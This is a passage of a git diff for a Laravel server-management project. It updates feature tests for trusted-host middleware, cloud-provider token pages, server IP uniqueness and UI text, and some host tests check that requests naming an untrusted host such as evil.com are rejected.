0],['fqdn' => 'http://65.21.3.91:8000']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -136,10 +152,10 @@ it('rejects malicious host when using IP address', function () {});it('trusts IPv6 addresses', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'http://[2001:db8::1]:8000']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -150,10 +166,10 @@ it('trusts IPv6 addresses', function () {it('invalidates cache when FQDN is updated', function () {// Set initial FQDN- $settings = InstanceSettings::updateOrCreate(+ $settings = InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://old-domain.com']- );+ ));// First call should cache it$middleware = new TrustHosts($this->app);@@ -178,10 +194,10 @@ it('invalidates cache when FQDN is updated', function () {});it('caches trusted hosts to avoid database queries on every request', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));// Clear cache firstCache::forget('instance_settings_fqdn_host');@@ -204,10 +220,10 @@ it('caches trusted hosts to avoid database queries on every request', function (it('caches negative results when no FQDN is configured', function () {// Create instance settings without FQDN- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => null]- );+ ));// Clear cache firstCache::forget('instance_settings_fqdn_host');@@ -230,70 +246,64 @@ it('caches negative results when no FQDN is configured', function () {});it('allows terminal auth requests from the local terminal server', function () {- $response = $this->postJson('/terminal/auth', [], [- 'Host' => '127.0.0.1:8080',- ]);+ $response = $this->postJson('http://127.0.0.1:8080/terminal/auth');expect($response->status())->not->toBe(400);});it('enforces host validation for terminal auth routes', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));Cache::forget('instance_settings_fqdn_host');- $response = $this->postJson('/terminal/auth/ips', [], [- 'Host' => 'evil.com',- ]);+ // The test client derives the Host from the URL, so the untrusted host goes in the URL+ $response = $this->postJson('http://evil.com/terminal/auth/ips');expect($response->status())->toBe(400);});it('still enforces host validation for non-terminal routes', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));// Regular routes should still validate Host header- $response = $this->get('/', [- 'Host' => 'evil.com',- ]);+ $response = $this->get('http://evil.com/');// Should get 400 Bad Host for untrusted hostexpect($response->status())->toBe(400);});it('skips host validation for API routes', function () {+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(+ ['id' => 0],+ ['fqdn' => 'https://coolify.example.com']+ ));+// All API routes use token-based auth (Sanctum), not host validation// They should be accessible from any host (mobile apps, CLI tools, scripts)// Test health check endpoint- $response = $this->get('/api/health', [- 'Host' => 'internal-lb.local',- ]);+ $response = $this->get('http://internal-lb.local/api/health');expect($response->status())->not->toBe(400);// Test v1 health check- $response = $this->get('/api/v1/health', [- 'Host' => '10.0.0.5',- ]);+ $response = $this->get('http://10.0.0.5/api/v1/health');expect($response->status())->not->toBe(400);// Test feedback endpoint- $response = $this->post('/api/feedback', [], [- 'Host' => 'mobile-app.local',- ]);+ $response = $this->post('http://mobile-app.local/api/feedback');expect($response->status())->not->toBe(400);});it('trusts localhost when FQDN is configured', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -302,10 +312,10 @@ it('trusts localhost when FQDN is configured', function () {});it('trusts 127.0.0.1 when FQDN is configured', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -314,10 +324,10 @@ it('trusts 127.0.0.1 when FQDN is configured', function () {});it('trusts IPv6 loopback when FQDN is configured', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -326,38 +336,37 @@ it('trusts IPv6 loopback when FQDN is configured', function () {});it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));- $response = $this->get('/', [- 'Host' => 'localhost',- ]);+ $response = $this->get('http://localhost/');// Should NOT be rejected as untrusted host (would be 400)expect($response->status())->not->toBe(400);});it('skips host validation for webhook endpoints', function () {+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(+ ['id' => 0],+ ['fqdn' => 'https://coolify.example.com']+ ));+// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)// and use cryptographic signature validation instead of host validation// Test GitHub webhook- $response = $this->post('/webhooks/source/github/events', [], [- 'Host' => 'github-webhook-proxy.local',- ]);+ $response = $this->post('http://github-webhook-proxy.local/webhooks/source/github/events');expect($response->status())->not->toBe(400);// Test GitLab webhook- $response = $this->post('/webhooks/source/gitlab/events/manual', [], [- 'Host' => 'gitlab.example.com',- ]);+ $response = $this->post('http://gitlab.example.com/webhooks/source/gitlab/events/manual');expect($response->status())->not->toBe(400);// Test Stripe webhook- $response = $this->post('/webhooks/payments/stripe/events', [], [- 'Host' => 'stripe-webhook-forwarder.local',- ]);- expect($response->status())->not->toBe(400);+ // The Stripe controller itself answers 400 for an unsigned request, so assert the+ // request reached the controller instead of being rejected as an untrusted host.+ $response = $this->post('http://stripe-webhook-forwarder.local/webhooks/payments/stripe/events');+ expect($response->getContent())->toBe('Invalid signature.');});diff --git a/tests/Feature/SecurityResourceModalEditorsTest.php b/tests/Feature/SecurityResourceModalEditorsTest.phpindex 06d07a1676..8723537065 100644--- a/tests/Feature/SecurityResourceModalEditorsTest.php+++ b/tests/Feature/SecurityResourceModalEditorsTest.php@@ -29,60 +29,6 @@ beforeEach(function () {Storage::fake('ssh-keys');});-it('opens security resources in modal editors and keeps create actions in card headers', function () {- $views = [- resource_path('views/livewire/security/private-key/index.blade.php'),- resource_path('views/livewire/security/cloud-provider-tokens.blade.php'),- resource_path('views/livewire/security/cloud-init-scripts.blade.php'),- ];-- foreach ($views as $view) {- $contents = file_get_contents($view);-- expect($contents)- ->toContain('<x-application.settings-section')- ->toContain('<x-slot:actions>')- ->toContain('<x-modal-input title="Edit')- ->toContain('<x-reicon name="settings"')- ->toContain(':contentClicks="false"')- ->not->toContain('href="{{ route(\'security.');- }-- expect(file_get_contents($views[0]))- ->toContain('>Private key</div>', '>Status</div>')- ->toContain('wire:click="openEditor(\'{{ $key->uuid }}\')"')- ->toContain("\$dispatch('open-private-key-editor', { name:")- ->toContain('$refs.loadingPrivateKeyName.value = $event.detail.name')- ->toContain('wire:loading.flex wire:target="openEditor"')- ->toContain('aria-label="Loading private key editor"')- ->toContain('class="w-full flex-col gap-4"')- ->toContain('<x-forms.input label="Public key" loading')- ->toContain('<x-forms.input loading :allowToPeak="false" />')- ->toContain('<x-forms.input label="Name" required x-ref="loadingPrivateKeyName" />')- ->toContain('<x-forms.input label="Description" x-ref="loadingPrivateKeyDescription" />')- ->not->toContain('class="flex flex-col gap-1.5 lg:col-span-2"')- ->not->toContain('animate-pulse')- ->and(substr_count(file_get_contents($views[0]), '<livewire:security.private-key.show'))->toBe(1);- expect(file_get_contents($views[1]))->toContain('>Token</div>', '>Provider</div>');- expect(file_get_contents($views[2]))->toContain('>Script</div>', '>Last updated</div>');-- expect(substr_count(file_get_contents($views[0]), 'sm:grid-cols-[minmax(0,1.2fr)_minmax(0,1fr)_7rem_1.75rem]'))->toBeGreaterThanOrEqual(2);- expect(substr_count(file_get_contents($views[1]), 'sm:grid-cols-[minmax(0,1fr)_8rem_minmax(0,1fr)_1.75rem]'))->toBeGreaterThanOrEqual(2);- expect(substr_count(file_get_contents($views[2]), 'grid-cols-[minmax(0,1fr)_12rem_1.75rem]'))->toBeGreaterThanOrEqual(2);- expect(file_get_contents($views[2]))- ->toContain('<div>Last updated</div>')- ->toContain('<div class="flex items-center">')- ->not->toContain('<div class="text-right">Last updated</div>');-- foreach ($views as $view) {- expect(file_get_contents($view))- ->toContain('grid-cols-[')- ->toContain('items-center gap-3')- ->toContain('class="pl-11"')- ->toContain('text-[13px] font-medium');- }-});-it('deletes a cloud-init script from its modal editor without redirecting to a detail page', function () {$script = CloudInitScript::query()->create(['team_id' => $this->team->id,@@ -154,16 +100,4 @@ it('loads the public key with the editor instead of making a follow-up request','private_key_uuid' => $privateKey->uuid,'modalMode' => true,])->assertSet('public_key', $privateKey->getPublicKey());-- expect(file_get_contents(resource_path('views/livewire/security/private-key/show.blade.php')))- ->not->toContain('x-init="$wire.loadPublicKey()"');-});--it('shows deletion progress in the underlying private key editor', function () {- $view = file_get_contents(resource_path('views/livewire/security/private-key/show.blade.php'));-- expect($view)- ->toContain('wire:loading.class="pointer-events-none opacity-50" wire:target="delete"')- ->toContain('wire:loading.flex wire:target="delete"')- ->toContain('<x-loading text="Deleting private key..." />');});diff --git a/tests/Feature/Server/HetznerServerCreationTest.php b/tests/Feature/Server/HetznerServerCreationTest.phpindex d134a67796..b865298a3f 100644--- a/tests/Feature/Server/HetznerServerCreationTest.php+++ b/tests/Feature/Server/HetznerServerCreationTest.php@@ -189,37 +189,33 @@ describe('Boarding Flow Integration', function () {expect((bool) $this->team->fresh()->show_boarding)->toBeTrue();});- test('uses the shared dropdown UI for advanced Hetzner options', function () {+ test('renders advanced Hetzner options in their own settings section', function () {Livewire::test(ByHetzner::class)->set('current_step', 2)- ->assertSee('Advanced Hetzner options')- ->assertSeeHtml('dropdownOpen')- ->assertSeeHtml('x-ref="panel"')- ->assertSeeHtml('dark:bg-coolgray-100')- ->assertSeeHtml('dark:bg-transparent')- ->assertSeeHtml('@click.outside="if (! true) close()"');+ ->assertSee('Advanced options')+ ->assertSee('Provider SSH keys, networking, backups, and cloud-init.');});- test('renders advanced Hetzner option controls inside the dropdown menu', function () {+ test('renders advanced Hetzner option controls in the advanced section', function () {Livewire::test(ByHetzner::class)->set('current_step', 2)- ->assertSee('Extra SSH Keys')+ ->assertSee('Extra SSH keys')->assertSee('Firewalls')- ->assertSee('Private Networks')- ->assertSee('Enable Hetzner Backups')+ ->assertSee('Private networks')+ ->assertSee('Enable Hetzner backups')->assertSee('Add cloud-init script')- ->assertSee('additional 20% of the server monthly fee');+ ->assertSee('Adds 20% to the provider server price.');});test('shows the cloud init script name only when saving the script', function () {Livewire::test(ByHetzner::class)->set('current_step', 2)->set('show_cloud_init_script', true)- ->assertSee('Cloud-Init Script')- ->assertSee('Save this script for later use')- ->assertDontSee('Script name...')+ ->assertSee('Cloud-init script')+ ->assertSee('Save this script for later')+ ->assertDontSee('Saved script name')->set('save_cloud_init_script', true)- ->assertSee('Script name...');+ ->assertSee('Saved script name');});});diff --git a/tests/Feature/Server/NewServerProviderTokenUrlTest.php b/tests/Feature/Server/NewServerProviderTokenUrlTest.phpindex 320d020e1e..76effcceb7 100644--- a/tests/Feature/Server/NewServerProviderTokenUrlTest.php+++ b/tests/Feature/Server/NewServerProviderTokenUrlTest.php@@ -55,7 +55,8 @@ test('provider token selection is rendered as clickable token boxes', function (->assertSee(route('server.create.token', ['type' => $type, 'token_uuid' => $token->uuid]))->assertDontSee('loadingProviderTokenId', false)->assertDontSee('coolbox-loading', false)- ->assertSee('coolbox', false)+ ->assertSee('href="'.route('server.create.token', ['type' => $type, 'token_uuid' => $token->uuid]).'"', false)+ ->assertSee('wire:key="'.$provider.'-token-'.$token->id.'"', false)->assertDontSee('wire:click="selectToken(', false)->assertDontSee('loading-spinner', false)->assertDontSee('Loading Hetzner details...')@@ -70,18 +71,17 @@ test('provider token selection is rendered as clickable token boxes', function ('digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'Production DigitalOcean'],]);-test('provider token selection shows an add token box when no tokens exist', function (string $component, string $title, string $description) {+test('provider token selection shows an add token box when no tokens exist', function (string $component, string $provider, string $title) {Livewire::test($component)->assertSee($title)- ->assertSee($description)- ->assertSee('max-w-2xl', false)- ->assertSee('coolbox', false)- ->assertSee('M12 4.5v15m7.5-7.5h-15', false)+ ->assertSee('Add an API token to continue provisioning.')+ ->assertSee('Add token')+ ->assertDontSee('wire:key="'.$provider.'-token-', false)->assertDontSee('wire:click="selectToken(', false);})->with([- 'hetzner' => [ByHetzner::class, 'Add a new token', 'Add a Hetzner API token to create servers from your account.'],- 'vultr' => [ByVultr::class, 'Add a new token', 'Add a Vultr API token to create servers from your account.'],- 'digital-ocean' => [ByDigitalOcean::class, 'Add a new token', 'Add a DigitalOcean API token to create Droplets from your account.'],+ 'hetzner' => [ByHetzner::class, 'hetzner', 'No Hetzner tokens'],+ 'vultr' => [ByVultr::class, 'vultr', 'No Vultr tokens'],+ 'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'No DigitalOcean tokens'],]);test('provider token urls pass the token uuid into the server creation page', function () {@@ -119,7 +119,7 @@ test('provider token pages defer provider api data loading until wire init', fun->assertSet('loading_data', true)->assertSee($loadingText)->assertSee($wireInitCall, false)- ->assertSee('text-coollabs dark:text-warning animate-spin', false)+ ->assertSee('loading-indicator shrink-0 animate-spin', false)->assertDontSee('border-b-2 border-primary', false);Http::assertNothingSent();@@ -129,7 +129,7 @@ test('provider token pages defer provider api data loading until wire init', fun'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'Loading DigitalOcean data...', 'wire:init="loadDigitalOceanData"'],]);-test('provider token pages render api error details when a selected token is invalid', function (string $component, string $provider, string $type, string $loadMethod, string $providerName, string $apiMessage) {+test('provider token pages render api error details when a selected token is invalid', function (string $component, string $provider, string $type, string $loadMethod, string $providerName, string $apiMessage, array $responseBody) {$token = CloudProviderToken::factory()->create(['team_id' => $this->team->id,'provider' => $provider,@@ -137,7 +137,7 @@ test('provider token pages render api error details when a selected token is inv]);Http::fake([- '*' => Http::response($apiMessage, 401),+ '*' => Http::response($responseBody, 401),]);Livewire::test($component, ['selectedTokenUuid' => $token->uuid])@@ -145,18 +145,19 @@ test('provider token pages render api error details when a selected token is inv->assertSet('loading_data', false)->assertSet('provider_data_error', "{$providerName} API error: {$apiMessage}")->assertDispatched('error')- ->assertSee("Unable to load {$providerName} details")+ ->assertSee("Unable to load {$providerName}")->assertSee($apiMessage)+ ->assertSee('Select another token')->assertSee('href="'.route('server.create.type', ['type' => $type]).'"', false)->assertSee('wire:navigate', false)->assertDontSee('wire:click="previousStep"', false);})->with([- 'hetzner' => [ByHetzner::class, 'hetzner', 'hetzner', 'loadHetznerData', 'Hetzner', 'the token you have provided is invalid'],- 'vultr' => [ByVultr::class, 'vultr', 'vultr', 'loadVultrData', 'Vultr', 'Invalid API key'],- 'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'loadDigitalOceanData', 'DigitalOcean', 'Unable to authenticate you'],+ 'hetzner' => [ByHetzner::class, 'hetzner', 'hetzner', 'loadHetznerData', 'Hetzner', 'the token you have provided is invalid', ['error' => ['code' => 'unauthorized', 'message' => 'the token you have provided is invalid']]],+ 'vultr' => [ByVultr::class, 'vultr', 'vultr', 'loadVultrData', 'Vultr', 'Invalid API key', ['error' => 'Invalid API key', 'status' => 401]],+ 'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'loadDigitalOceanData', 'DigitalOcean', 'Unable to authenticate you', ['id' => 'Unauthorized', 'message' => 'Unable to authenticate you']],]);-test('back button on token specific provider creation pages returns to provider token selection', function (string $provider, string $type) {+test('change method button on token specific provider creation pages returns to server type selection', function (string $provider, string $type) {$token = CloudProviderToken::factory()->create(['team_id' => $this->team->id,'provider' => $provider,@@ -166,29 +167,34 @@ test('back button on token specific provider creation pages returns to provider'type' => $type,'token_uuid' => $token->uuid,])- ->assertSee(route('server.create.type', ['type' => $type]), false)- ->assertDontSee('href="'.route('server.create').'"', false);+ ->assertSee('Change method')+ ->assertSee('href="'.route('server.create').'"', false)+ ->assertDontSee('>Back<', false);})->with(['hetzner' => ['hetzner', 'hetzner'],'vultr' => ['vultr', 'vultr'],'digital-ocean' => ['digitalocean', 'digital-ocean'],]);-test('new token header button is hidden on token specific provider creation pages', function (string $provider, string $type) {+test('provider token picker is hidden on token specific provider creation pages', function (string $provider, string $type) {$token = CloudProviderToken::factory()->create(['team_id' => $this->team->id,'provider' => $provider,]);+ $tokenUrl = route('server.create.token', ['type' => $type, 'token_uuid' => $token->uuid]);Livewire::test(CreatePage::class, ['type' => $type,])- ->assertSee('+ New Token');+ ->assertSee('href="'.$tokenUrl.'"', false)+ ->assertDontSee('+ New Token');Livewire::test(CreatePage::class, ['type' => $type,'token_uuid' => $token->uuid,])+ ->assertDontSee('href="'.$tokenUrl.'"', false)+ ->assertDontSee('Add token')->assertDontSee('+ New Token');})->with(['hetzner' => ['hetzner', 'hetzner'],diff --git a/tests/Feature/Server/SentinelUpdateCheckIndependenceTest.php b/tests/Feature/Server/SentinelUpdateCheckIndependenceTest.phpindex d3ccb5c478..ca1494840c 100644--- a/tests/Feature/Server/SentinelUpdateCheckIndependenceTest.php+++ b/tests/Feature/Server/SentinelUpdateCheckIndependenceTest.php@@ -1,5 +1,6 @@<?php+use App\Enums\ServerRole;use App\Jobs\CheckAndStartSentinelJob;use App\Jobs\ServerManagerJob;use App\Models\InstanceSettings;@@ -127,6 +128,7 @@ it('respects server timezone when checking sentinel updates', function () {it('does not dispatch sentinel check for build servers', function () {$this->server->settings->update(['is_build_server' => true,+ 'server_role' => ServerRole::BUILD,]);$instanceSettings = InstanceSettings::first();@@ -151,6 +153,7 @@ it('handles multiple servers with different sentinel eligibility', function () {]);$server2->settings->update(['is_build_server' => true,+ 'server_role' => ServerRole::BUILD,'server_timezone' => 'UTC',]);diff --git a/tests/Feature/Server/ServerIpUniquenessTest.php b/tests/Feature/Server/ServerIpUniquenessTest.phpindex 705b1eddcd..1c54fe0f10 100644--- a/tests/Feature/Server/ServerIpUniquenessTest.php+++ b/tests/Feature/Server/ServerIpUniquenessTest.php@@ -1,23 +1,26 @@<?php+use App\Livewire\Server\New\ByIp;+use App\Models\InstanceSettings;use App\Models\PrivateKey;use App\Models\Server;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;+use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+$this->user = User::factory()->create();$this->team = Team::factory()->create();$this->user->teams()->attach($this->team, ['role' => 'owner']);$this->actingAs($this->user);session(['currentTeam' => $this->team]);- $this->privateKey = PrivateKey::create([- 'name' => 'Test Key',- 'private_key' => 'test-key-content',+ $this->privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id,]);});@@ -49,24 +52,26 @@ it('detects duplicate ip from another team', function () {expect($foundServer->team_id)->not->toBe($this->team->id);});-it('shows correct error message for same team duplicate in boarding', function () {+it('rejects a duplicate ip from the same team when adding a server', function () {Server::factory()->create(['ip' => '1.2.3.4','team_id' => $this->team->id,'private_key_id' => $this->privateKey->id,]);- $foundServer = Server::whereIp('1.2.3.4')->first();- if ($foundServer->team_id === currentTeam()->id) {- $message = 'A server with this IP/Domain already exists in your team.';- } else {- $message = 'A server with this IP/Domain is already in use by another team.';- }+ Livewire::test(ByIp::class, [+ 'private_keys' => collect([$this->privateKey]),+ 'limit_reached' => false,+ ])+ ->set('ip', '1.2.3.4')+ ->set('private_key_id', $this->privateKey->id)+ ->call('submit')+ ->assertDispatched('error', 'A server with this IP/Domain already exists.');- expect($message)->toBe('A server with this IP/Domain already exists in your team.');+ expect(Server::where('ip', '1.2.3.4')->count())->toBe(1);});-it('shows correct error message for other team duplicate in boarding', function () {+it('rejects a duplicate ip from another team without revealing the owner team', function () {$otherTeam = Team::factory()->create();Server::factory()->create([@@ -74,14 +79,17 @@ it('shows correct error message for other team duplicate in boarding', function'team_id' => $otherTeam->id,]);- $foundServer = Server::whereIp('5.6.7.8')->first();- if ($foundServer->team_id === currentTeam()->id) {- $message = 'A server with this IP/Domain already exists in your team.';- } else {- $message = 'A server with this IP/Domain is already in use by another team.';- }-- expect($message)->toBe('A server with this IP/Domain is already in use by another team.');+ Livewire::test(ByIp::class, [+ 'private_keys' => collect([$this->privateKey]),+ 'limit_reached' => false,+ ])+ ->set('ip', '5.6.7.8')+ ->set('private_key_id', $this->privateKey->id)+ ->call('submit')+ ->assertDispatched('error', 'A server with this IP/Domain already exists.')+ ->assertNotDispatched('error', 'A server with this IP/Domain is already in use by another team.');++ expect(Server::where('ip', '5.6.7.8')->count())->toBe(1);});it('allows adding ip that does not exist globally', function () {diff --git a/tests/Feature/Server/ServerMetricsSettingsTest.php b/tests/Feature/Server/ServerMetricsSettingsTest.phpindex 16ac1d919c..8d22aabb5e 100644--- a/tests/Feature/Server/ServerMetricsSettingsTest.php+++ b/tests/Feature/Server/ServerMetricsSettingsTest.php@@ -16,22 +16,6 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('shows metrics collection settings inside the main metrics section instead of a separate section', function () {- $metricsView = file_get_contents(resource_path('views/livewire/server/charts.blade.php'));- $sentinelView = file_get_contents(resource_path('views/livewire/server/sentinel.blade.php'));-- expect($metricsView)- ->not->toContain('id="server-metrics-collection-section"')- ->toContain('id="sentinelMetricsRefreshRateSeconds"')- ->toContain('id="sentinelMetricsHistoryDays"')- ->toContain('id="sentinelPushIntervalSeconds"')- ->and($sentinelView)- ->not->toContain('id="server-sentinel-metrics-section"')- ->not->toContain('id="sentinelMetricsRefreshRateSeconds"')- ->not->toContain('id="sentinelMetricsHistoryDays"')- ->not->toContain('id="sentinelPushIntervalSeconds"');-});-it('saves metrics collection settings from the server metrics page', function () {Queue::fake();@@ -68,26 +52,3 @@ it('validates metrics collection settings on the server metrics page', function'sentinelPushIntervalSeconds',]);});--it('uses the local datetime axis so server charts show day separators', function () {- $metricsView = file_get_contents(resource_path('views/livewire/server/charts.blade.php'));-- expect($metricsView)- ->not->toContain('datetimeUTC: true')- ->and(substr_count($metricsView, 'datetimeUTC: false'))- ->toBe(3);-});--it('updates CPU and memory charts together when the time range changes', function () {- $component = file_get_contents(app_path('Livewire/Server/Charts.php'));- $metricsView = file_get_contents(resource_path('views/livewire/server/charts.blade.php'));-- expect($component)- ->toContain('"refreshChartData-{$this->chartId}-metrics"')- ->toContain("'cpuSeries' => \$cpuMetrics")- ->toContain("'memorySeries' => \$memoryMetrics")- ->and($metricsView)- ->toContain("Livewire.on('refreshChartData-{!! \$chartId !!}-metrics'")- ->toContain('data.cpuSeries')- ->toContain('data.memorySeries');-});diff --git a/tests/Feature/Server/ServerPatchCheckNotificationTest.php b/tests/Feature/Server/ServerPatchCheckNotificationTest.phpindex dd8901e822..1cdd12849c 100644--- a/tests/Feature/Server/ServerPatchCheckNotificationTest.php+++ b/tests/Feature/Server/ServerPatchCheckNotificationTest.php@@ -12,7 +12,7 @@ beforeEach(function () {// This avoids Mockery alias/overload issues that pollute global state$this->setInstanceSettings = function ($fqdn = null, $publicIpv4 = null, $publicIpv6 = null) {InstanceSettings::query()->delete();- InstanceSettings::create([+ InstanceSettings::forceCreate(['id' => 0,'fqdn' => $fqdn,'public_ipv4' => $publicIpv4,diff --git a/tests/Feature/Server/ServerSettingWasChangedTest.php b/tests/Feature/Server/ServerSettingWasChangedTest.phpindex ea7987a4bd..0777f4785f 100644--- a/tests/Feature/Server/ServerSettingWasChangedTest.php+++ b/tests/Feature/Server/ServerSettingWasChangedTest.php@@ -4,6 +4,7 @@ use App\Models\Server;use App\Models\ServerSetting;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;+use Illuminate\Support\Facades\Queue;uses(RefreshDatabase::class);@@ -40,6 +41,9 @@ it('isDirty returns false after saving', function () {});it('can detect sentinel_token changes with wasChanged', function () {+ // A token change restarts Sentinel through a queued action; keep it off the sync queue.+ Queue::fake();+// Create user and server$user = User::factory()->create();$team = $user->teams()->first();diff --git a/tests/Feature/Server/ServerStorageCheckIndependenceTest.php b/tests/Feature/Server/ServerStorageCheckIndependenceTest.phpindex 57b392e2fc..7c6e2a9985 100644--- a/tests/Feature/Server/ServerStorageCheckIndependenceTest.php+++ b/tests/Feature/Server/ServerStorageCheckIndependenceTest.php@@ -3,6 +3,7 @@use App\Jobs\ServerCheckJob;use App\Jobs\ServerManagerJob;use App\Jobs\ServerStorageCheckJob;+use App\Models\InstanceSettings;use App\Models\Server;use App\Models\Team;use Carbon\Carbon;@@ -13,6 +14,7 @@ uses(RefreshDatabase::class);beforeEach(function () {Queue::fake();+ InstanceSettings::forceCreate(['id' => 0]);});afterEach(function () {diff --git a/tests/Feature/ServerBuildRoleHelperTest.php b/tests/Feature/ServerBuildRoleHelperTest.phpindex 89fdeafd94..ace65f8b7e 100644--- a/tests/Feature/ServerBuildRoleHelperTest.php+++ b/tests/Feature/ServerBuildRoleHelperTest.php@@ -1,19 +1,5 @@<?php-test('server settings show all server roles and the build risk confirmation', function () {- $view = file_get_contents(resource_path('views/livewire/server/show.blade.php'));-- expect($view)- ->toContain('id="serverRole"')- ->toContain("['value' => 'deployment', 'label' => 'Deployments only']")- ->toContain("['value' => 'build', 'label' => 'Builds only']")- ->toContain("['value' => 'both', 'label' => 'Deployments and builds']")- ->toContain('<x-modal-confirmation title="Use this server for deployments and builds?"')- ->not->toContain('<x-modal modalId="server-role-confirmation"')- ->toContain('Use this server for deployments and builds?')- ->toContain('can become slow or unreachable');-});-test('server role migration keeps dedicated build servers and defaults other servers to both', function () {$migration = file_get_contents(base_path('database/migrations/2026_09_19_121840_add_server_role_to_server_settings_table.php'));diff --git a/tests/Feature/ServerDangerMenuVisibilityTest.php b/tests/Feature/ServerDangerMenuVisibilityTest.phpindex cb6d8fe54a..fde1e65b7d 100644--- a/tests/Feature/ServerDangerMenuVisibilityTest.php+++ b/tests/Feature/ServerDangerMenuVisibilityTest.php@@ -74,5 +74,6 @@ test('danger page is reachable for host.docker.internal non-coolify-host servers$this->get(route('server.delete', ['server_uuid' => $server->uuid]))->assertSuccessful()->assertSee('Delete server')- ->assertSee('Delete '.$server->name);+ ->assertSee('Confirm Server Deletion?')+ ->assertSee('Please confirm by entering the Server Name below');});diff --git a/tests/Feature/ServerIndexIpExposureTest.php b/tests/Feature/ServerIndexIpExposureTest.phpnew file mode 100644index 0000000000..892ced8227--- /dev/null+++ b/tests/Feature/ServerIndexIpExposureTest.php@@ -0,0 +1,11 @@+<?php++test('server index does not expose server IP addresses', function () {+ $view = file_get_contents(resource_path('views/livewire/server/index.blade.php'));++ expect($view)+ ->not->toContain("'address' => \$server->ip")+ ->not->toContain('<div>Address</div>')+ ->not->toContain('x-text="server.address"')+ ->not->toContain('server.address,');+});diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.phpindex 1c5fe82595..e4cbb5ed6e 100644--- a/tests/Feature/ServerMetadataTest.php+++ b/tests/Feature/ServerMetadataTest.php@@ -2,20 +2,24 @@use App\Livewire\Server\Show;use App\Livewire\Server\ValidateAndInstall;+use App\Models\InstanceSettings;use App\Models\PrivateKey;use App\Models\Server;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Facades\Process;+use Illuminate\Support\Facades\Queue;use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+$user = User::factory()->create();$this->team = Team::factory()->create();- $user->teams()->attach($this->team);+ $user->teams()->attach($this->team, ['role' => 'owner']);$this->actingAs($user);session(['currentTeam' => $this->team]);@@ -160,14 +164,19 @@ it('can overwrite server_metadata with new values', function () {});it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () {+ Queue::fake();+$serverMock = Mockery::mock($this->server)->makePartial();$serverMock->shouldReceive('isSwarm')->andReturn(false);$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn('24.0.0');$serverMock->shouldReceive('gatherServerMetadata')->once();$serverMock->shouldReceive('isBuildServer')->andReturn(false);+ // Call the action on the mounted instance: a Livewire request round trip+ // would rehydrate the server from the database and drop the mock.Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])- ->call('validateDockerVersion');+ ->instance()+ ->validateDockerVersion();});it('does not call gatherServerMetadata when docker version validation fails', function () {@@ -176,6 +185,9 @@ it('does not call gatherServerMetadata when docker version validation fails', fu$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn(false);$serverMock->shouldNotReceive('gatherServerMetadata');+ // Call the action on the mounted instance: a Livewire request round trip+ // would rehydrate the server from the database and drop the mock.Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])- ->call('validateDockerVersion');+ ->instance()+ ->validateDockerVersion();});diff --git a/tests/Feature/ServerNavbarStatusVisibilityTest.php b/tests/Feature/ServerNavbarStatusVisibilityTest.phpindex fc9d46ab0f..b524064fea 100644--- a/tests/Feature/ServerNavbarStatusVisibilityTest.php+++ b/tests/Feature/ServerNavbarStatusVisibilityTest.php@@ -68,34 +68,6 @@ it('shows the first Sentinel report as pending instead of requiring attention',->assertDontSee('Out of sync');});-it('places mobile status badges on a separate row below the server title', function () {- $navbar = file_get_contents(resource_path('views/livewire/server/navbar.blade.php'));-- $mobileTitleBlock = 